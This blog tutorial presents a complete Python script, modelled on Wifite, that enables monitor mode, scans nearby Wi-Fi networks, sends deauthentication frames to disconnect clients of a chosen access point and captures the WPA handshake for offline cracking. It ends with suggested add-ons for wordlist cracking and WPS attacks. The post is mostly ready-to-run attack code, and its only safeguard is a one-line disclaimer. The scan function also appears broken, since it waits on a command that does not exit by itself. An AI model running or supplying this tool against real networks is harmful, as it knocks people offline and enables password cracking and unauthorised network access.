" MicromOne: Building a Simple WPA Handshake Capture Tool in Python (Like Wifite)

Pagine

Building a Simple WPA Handshake Capture Tool in Python (Like Wifite)


If you've ever explored penetration testing on wireless networks, you've probably heard of Wifite - an automated tool for auditing Wi-Fi security. It's powerful, but also a bit complex under the hood.

In this post, we'll build a lightweight Python script that mimics one of Wifite's core features: scanning nearby networks and capturing WPA handshakes.

Disclaimer: This tutorial is for educational purposes only. Performing attacks on networks without permission is illegal. Always test in a controlled lab environment.

What Is a WPA Handshake?

A WPA handshake is the initial exchange between a Wi-Fi client (like your laptop) and an access point (router) when connecting. This handshake contains cryptographic material that, if captured, can be brute-forced offline to test password strength.

Capturing it doesn't require you to crack the password on the spot - it just saves the handshake packet to a .cap file for later analysis.

How the Script Works

Our script automates these steps:

  1. Enable monitor mode
    We switch the wireless card into monitor mode using airmon-ng, so it can capture all wireless traffic.

  2. Scan for nearby networks
    Using airodump-ng to detect BSSIDs, ESSIDs, channels, and signal strengths.

  3. Target a specific network
    The user chooses a network from the list.

  4. Capture handshake packets
    We start airodump-ng on the target channel and send deauth frames with aireplay-ng to force clients to reconnect - generating a handshake.

  5. Save the handshake file
    The captured packets are stored in .cap format for later cracking.

The Python Code

Here's the complete script:

#!/usr/bin/env python3
import subprocess
import re
import os
import time

def run_cmd(cmd):
    try:
        return subprocess.check_output(cmd, stderr=subprocess.DEVNULL, universal_newlines=True)
    except subprocess.CalledProcessError:
        return ""

def enable_monitor_mode(interface):
    print(f"[+] Enabling monitor mode on {interface}...")
    run_cmd(["sudo", "airmon-ng", "start", interface])
    return interface + "mon"

def scan_networks(interface):
    print(f"[+] Scanning networks on {interface}...")
    output = run_cmd(["sudo", "airodump-ng", "--output-format", "csv", "--write", "/tmp/scan", interface])
    time.sleep(5)
    subprocess.run(["pkill", "-f", "airodump-ng"])

    networks = []
    try:
        with open("/tmp/scan-01.csv", "r", encoding="utf-8", errors="ignore") as f:
            lines = f.readlines()
        for line in lines:
            if re.match(r"([0-9A-F]{2}:){5}[0-9A-F]{2}", line):
                parts = [x.strip() for x in line.split(",")]
                bssid = parts[0]
                essid = parts[-1] if parts[-1] else "HIDDEN"
                channel = parts[3]
                pwr = parts[8]
                networks.append({"BSSID": bssid, "ESSID": essid, "Channel": channel, "PWR": pwr})
    except FileNotFoundError:
        print("[-] Scan file not found.")
    return networks

def capture_handshake(interface, bssid, channel, essid):
    print(f"[+] Capturing handshake for {essid} ({bssid})...")
    dump_file = f"/tmp/{essid}_handshake"
    subprocess.Popen(["sudo", "airodump-ng", "-c", channel, "--bssid", bssid, "-w", dump_file, interface])
    time.sleep(3)
    print("[+] Sending deauth packets to force handshake...")
    subprocess.Popen(["sudo", "aireplay-ng", "--deauth", "10", "-a", bssid, interface])
    time.sleep(10)
    subprocess.run(["pkill", "-f", "airodump-ng"])
    print(f"[+] Handshake saved to {dump_file}-01.cap")

def main():
    interface = input("Wi-Fi interface (e.g., wlan0): ").strip() or "wlan0"
    mon_iface = enable_monitor_mode(interface)
    nets = scan_networks(mon_iface)

    if not nets:
        print("[-] No networks found.")
        return

    print("\nAvailable networks:")
    for i, net in enumerate(nets, 1):
        print(f"{i}. {net['ESSID']} ({net['BSSID']}) CH:{net['Channel']} PWR:{net['PWR']}")

    choice = int(input("\nSelect target network: ")) - 1
    if choice < 0 or choice >= len(nets):
        print("[-] Invalid choice.")
        return

    target = nets[choice]
    capture_handshake(mon_iface, target["BSSID"], target["Channel"], target["ESSID"])

if __name__ == "__main__":
    main()

How to Run It

  1. Install dependencies
    Make sure you have aircrack-ng suite installed:

    sudo apt update
    sudo apt install aircrack-ng
    
  2. Give execution permission

    chmod +x wpa_handshake.py
    
  3. Run the script as root

    sudo ./wpa_handshake.py
    
  4. Select a network and let it capture the handshake.

Possible Extensions

  • Add WPA cracking directly using aircrack-ng with a wordlist.

  • Save logs with timestamps for better tracking.

  • Implement command-line arguments with argparse for automation.

  • Add WPS attack capabilities with reaver or bully.